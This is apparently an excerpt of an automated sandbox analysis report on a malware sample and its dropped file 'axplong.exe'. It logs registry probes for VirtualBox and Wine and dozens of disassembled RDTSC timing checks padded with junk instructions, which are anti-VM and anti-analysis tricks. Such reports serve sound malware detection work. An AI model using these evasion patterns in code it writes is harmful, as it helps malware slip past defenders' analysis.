Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F2E3 second address: D5F2E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9C3E second address: EE9C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE8FA4 second address: EE8FAA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE8FAA second address: EE8FB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE8FB4 second address: EE8FB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE910E second address: EE9112 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE956F second address: EE957D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jne 00007FD4A4C54696h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEAE9F second address: EEAEA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEAEA5 second address: EEAEE3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push esi 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pop esi 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 jmp 00007FD4A4C546A4h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FD4A4C5469Ch 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEAEE3 second address: EEAEF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4A4ED8670h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEAF4E second address: EEAFCB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4C546A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007FD4A4C54698h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 push 00000000h 0x00000028 jmp 00007FD4A4C546A7h 0x0000002d call 00007FD4A4C54699h 0x00000032 jnc 00007FD4A4C546A8h 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007FD4A4C5469Bh 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEAFCB second address: EEAFD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEAFD1 second address: EEAFFC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d pushad 0x0000000e push edi 0x0000000f pop edi 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 popad 0x00000013 jmp 00007FD4A4C5469Eh 0x00000018 popad 0x00000019 mov eax, dword ptr [eax] 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEAFFC second address: EEB001 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEB001 second address: EEB075 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD4A4C546A0h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e jmp 00007FD4A4C5469Fh 0x00000013 pop eax 0x00000014 movsx edx, si 0x00000017 push 00000003h 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007FD4A4C54698h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 00000018h 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 add dword ptr [ebp+122D25ADh], ebx 0x00000039 push 00000000h 0x0000003b mov edx, dword ptr [ebp+122D3972h] 0x00000041 push 00000003h 0x00000043 mov edi, esi 0x00000045 call 00007FD4A4C54699h 0x0000004a pushad 0x0000004b push ebx 0x0000004c je 00007FD4A4C54696h 0x00000052 pop ebx 0x00000053 push ecx 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEB075 second address: EEB0A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c pop edx 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FD4A4ED8679h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEB0A1 second address: EEB0B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD4A4C546A0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEB0B6 second address: EEB0C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEB0C4 second address: EEB0C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEB183 second address: EEB236 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FD4A4ED8679h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add dword ptr [esp], 07F38B51h 0x00000012 pushad 0x00000013 jl 00007FD4A4ED866Ch 0x00000019 mov esi, dword ptr [ebp+122D3A46h] 0x0000001f mov edx, dword ptr [ebp+122D1C2Fh] 0x00000025 popad 0x00000026 push 00000003h 0x00000028 mov di, B704h 0x0000002c push 00000000h 0x0000002e mov dword ptr [ebp+122D25F3h], ebx 0x00000034 push 00000003h 0x00000036 or ecx, 60972FFDh 0x0000003c call 00007FD4A4ED8669h 0x00000041 push esi 0x00000042 push edx 0x00000043 jmp 00007FD4A4ED8671h 0x00000048 pop edx 0x00000049 pop esi 0x0000004a push eax 0x0000004b jnl 00007FD4A4ED866Ch 0x00000051 mov eax, dword ptr [esp+04h] 0x00000055 pushad 0x00000056 push ecx 0x00000057 jnp 00007FD4A4ED8666h 0x0000005d pop ecx 0x0000005e push esi 0x0000005f jo 00007FD4A4ED8666h 0x00000065 pop esi 0x00000066 popad 0x00000067 mov eax, dword ptr [eax] 0x00000069 jc 00007FD4A4ED8673h 0x0000006f jmp 00007FD4A4ED866Dh 0x00000074 mov dword ptr [esp+04h], eax 0x00000078 pushad 0x00000079 push eax 0x0000007a push edx 0x0000007b jo 00007FD4A4ED8666h 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEB236 second address: EEB27E instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD4A4C54696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FD4A4C546A5h 0x0000000f popad 0x00000010 pop eax 0x00000011 movzx esi, ax 0x00000014 lea ebx, dword ptr [ebp+1245FD9Dh] 0x0000001a mov edx, dword ptr [ebp+122D3962h] 0x00000020 xchg eax, ebx 0x00000021 jmp 00007FD4A4C546A0h 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEB27E second address: EEB296 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4ED8674h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEB296 second address: EEB2A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FD4A4C54696h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEB35D second address: EEB39A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jmp 00007FD4A4ED8677h 0x0000000e popad 0x0000000f popad 0x00000010 mov eax, dword ptr [eax] 0x00000012 jmp 00007FD4A4ED866Fh 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push esi 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 pop esi 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEB39A second address: EEB3A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FD4A4C54696h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFDE82 second address: EFDE88 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFDE88 second address: EFDE92 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD4A4C5469Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09DC7 second address: F09DDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD4A4ED866Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09DDA second address: F09E28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4A4C546A1h 0x00000009 jmp 00007FD4A4C546A5h 0x0000000e jmp 00007FD4A4C546A2h 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jns 00007FD4A4C5469Ah 0x0000001d push eax 0x0000001e push edi 0x0000001f pop edi 0x00000020 pop eax 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09F48 second address: F09F5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4A4ED8673h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09F5F second address: F09F65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0A0A1 second address: F0A0B3 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD4A4ED8666h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0A0B3 second address: F0A0E0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD4A4C546A1h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD4A4C546A2h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0A0E0 second address: F0A0F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4ED8674h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0A24C second address: F0A25F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD4A4C5469Dh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0A25F second address: F0A27C instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD4A4ED8672h 0x00000008 pushad 0x00000009 jbe 00007FD4A4ED8666h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0A39B second address: F0A3A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0A64E second address: F0A66D instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD4A4ED8666h 0x00000008 jmp 00007FD4A4ED8675h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0AB83 second address: F0ABBC instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD4A4C546ABh 0x00000008 jp 00007FD4A4C54698h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push esi 0x00000011 pushad 0x00000012 jnc 00007FD4A4C54696h 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a jng 00007FD4A4C54696h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F01238 second address: F01272 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e pop edx 0x0000000f pushad 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007FD4A4ED8675h 0x00000018 pop edx 0x00000019 pushad 0x0000001a push esi 0x0000001b pop esi 0x0000001c push esi 0x0000001d pop esi 0x0000001e popad 0x0000001f jnc 00007FD4A4ED8668h 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE0553 second address: EE055E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnc 00007FD4A4C54696h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0B2E4 second address: F0B2EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0B6EB second address: F0B6F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0B6F6 second address: F0B6FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0B6FA second address: F0B6FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0F3DA second address: F0F3E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0F3E0 second address: F0F3F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jne 00007FD4A4C54696h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E1D0 second address: F0E1D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E1D4 second address: F0E1D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E1D8 second address: F0E1DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0F9C4 second address: F0F9C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1331A second address: F1331E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1331E second address: F1332A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1332A second address: F13334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FD4A4ED8666h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDEA53 second address: EDEA57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1733B second address: F1733F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F175D1 second address: F175D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F175D5 second address: F175F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4ED8674h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F175F4 second address: F175F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F175F9 second address: F17603 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FD4A4ED8666h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F17603 second address: F17607 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F17912 second address: F17918 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F19A0E second address: F19A14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F19A14 second address: F19A76 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD4A4ED8666h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e jmp 00007FD4A4ED8679h 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 push ecx 0x00000018 jbe 00007FD4A4ED8668h 0x0000001e pushad 0x0000001f popad 0x00000020 pop ecx 0x00000021 pop eax 0x00000022 push 00000000h 0x00000024 push esi 0x00000025 call 00007FD4A4ED8668h 0x0000002a pop esi 0x0000002b mov dword ptr [esp+04h], esi 0x0000002f add dword ptr [esp+04h], 0000001Ah 0x00000037 inc esi 0x00000038 push esi 0x00000039 ret 0x0000003a pop esi 0x0000003b ret 0x0000003c push 438782AFh 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F19E85 second address: F19E8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A543 second address: F1A548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A548 second address: F1A55D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jnp 00007FD4A4C54696h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A55D second address: F1A561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A561 second address: F1A567 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A567 second address: F1A56D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A56D second address: F1A571 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1BBB6 second address: F1BBCB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4ED8671h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1BBCB second address: F1BBDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4A4C546A0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1BBDF second address: F1BBE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1ECF7 second address: F1ED17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FD4A4C54696h 0x0000000a popad 0x0000000b push esi 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop esi 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FD4A4C5469Dh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1ED17 second address: F1ED21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FD4A4ED8666h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1ED21 second address: F1ED5D instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD4A4C54696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f mov edi, dword ptr [ebp+122D3716h] 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007FD4A4C54698h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 00000017h 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 xchg eax, ebx 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1F754 second address: F1F7CC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop ebx 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov di, bx 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007FD4A4ED8668h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 00000017h 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d jng 00007FD4A4ED867Ah 0x00000033 jmp 00007FD4A4ED8674h 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push ecx 0x0000003d call 00007FD4A4ED8668h 0x00000042 pop ecx 0x00000043 mov dword ptr [esp+04h], ecx 0x00000047 add dword ptr [esp+04h], 0000001Ah 0x0000004f inc ecx 0x00000050 push ecx 0x00000051 ret 0x00000052 pop ecx 0x00000053 ret 0x00000054 mov edi, edx 0x00000056 xchg eax, ebx 0x00000057 push esi 0x00000058 push eax 0x00000059 push edx 0x0000005a push ecx 0x0000005b pop ecx 0x0000005c rdtsc
